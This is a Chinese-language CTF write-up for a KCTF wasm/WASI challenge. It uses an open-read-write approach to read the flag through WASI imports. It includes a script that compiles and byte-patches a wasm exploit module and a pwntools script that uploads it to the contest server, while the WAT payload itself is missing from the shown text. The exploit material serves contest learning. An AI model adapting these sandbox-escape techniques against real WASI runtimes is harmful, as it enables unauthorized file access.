【CTF对抗-[KCTF]第十三题 共存之道 WP】此文章归类为:CTF对抗。
前言:
讲真 第一次接触wasm,这个题出的让我有点失望我说实在的,如果是内存利用的话我还能接受,但是打到最后发现只是入门学习而且基本上就是GitHub搬家过来的我只能说出题人 再接再厉吧。
分析:
一般这种题会提供diff,但是没有提供,证明没有大魔改,然后根据官方文档去看API的调用是否被改变。IDA搜索字符串"wasi_snapshot_preview1" 可以发现剩余少的可怜的API,主要有用的如下
1
2
3
4
5
6
|
(
import
"wasi_snapshot_preview1"
"fd_read"
(func $fd_read (param i32 i32 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"fd_write"
(func $fd_write (param i32 i32 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"fd_prestat_get"
(func $fd_prestat_get (param i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"fd_prestat_dir_name"
(func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"path_open"
(func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(
import
"wasi_snapshot_preview1"
"proc_exit"
(func $proc_exit (param i32)))
|
利用ORW直接读取flag,但是你要我在第一次短时间内写出wat文件的格式是很难的啦,直接GitHub搜就完事了。模板连接如下
这里要稍微改下的就是path_open的2个权限标志,把2个3都改成2(fd_rights_base 和fd_rights_inheriting ),
生成wasm的脚本是嫖的
完整EXP如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
|
import
os
code
=
lines
=
code.split(
'\n'
)
code
=
''
for
line
in
lines:
if
'/'
not
in
line:
code
+
=
line
+
'\n'
os.remove(
"exp.wat"
)
with
open
(
'exp.wat'
,
'w'
) as f:
f.write(code)
os.system(
'wat2wasm --enable-all --no-check exp.wat'
)
with
open
(
"exp.wasm"
,
"rb"
) as f:
wasm_data
=
f.read()
wasm_data
=
wasm_data.replace(b
'\xfc\x0c\x00\x00'
, b
'\xfc\x0c\x01\x01'
)
with
open
(
"exp.wasm"
,
"wb"
) as f:
f.write(wasm_data)
|
上传脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from
pwn
import
*
context.log_level
=
'debug'
with
open
(
"exp.wasm"
,
"rb"
) as wasm_file:
wasm_data
=
wasm_file.read()
base64_data
=
base64.b64encode(wasm_data).decode()
data_to_send
=
f
"{base64_data}"
with remote(
"123.59.196.133"
,
10040
) as r:
r.send(data_to_send)
r.interactive()
|
总结:
整了那么久 结果发现GitHub现成的,你说你好歹魔改个内存bug出来,我去花时间调试我也不会喷什么,就是失望,就一个ORW。
更多【CTF对抗-[KCTF]第十三题 共存之道 WP】相关视频教程:www.yxfzedu.com